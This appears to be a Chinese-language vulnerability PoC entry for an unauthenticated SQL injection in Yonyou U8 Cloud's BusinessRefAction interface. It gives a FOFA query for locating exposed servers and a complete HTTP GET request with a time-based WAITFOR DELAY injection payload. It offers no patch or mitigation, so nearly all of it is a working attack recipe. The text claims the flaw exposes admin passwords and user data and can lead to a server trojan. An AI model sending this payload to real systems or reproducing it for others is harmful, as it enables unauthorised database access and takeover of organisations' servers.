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22 lines
1.0 KiB
Markdown
22 lines
1.0 KiB
Markdown
# 用友U8-Cloud系统BusinessRefAction存在SQL注入漏洞
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用友U8 Cloud BusinessRefAction接口处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
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## fofa
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```yaml
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title=="U8C"
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```
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## poc
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```java
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GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.web.reference.BusinessRefAction&method=getTaskRepTreeRef&taskId=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Connection: close
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```
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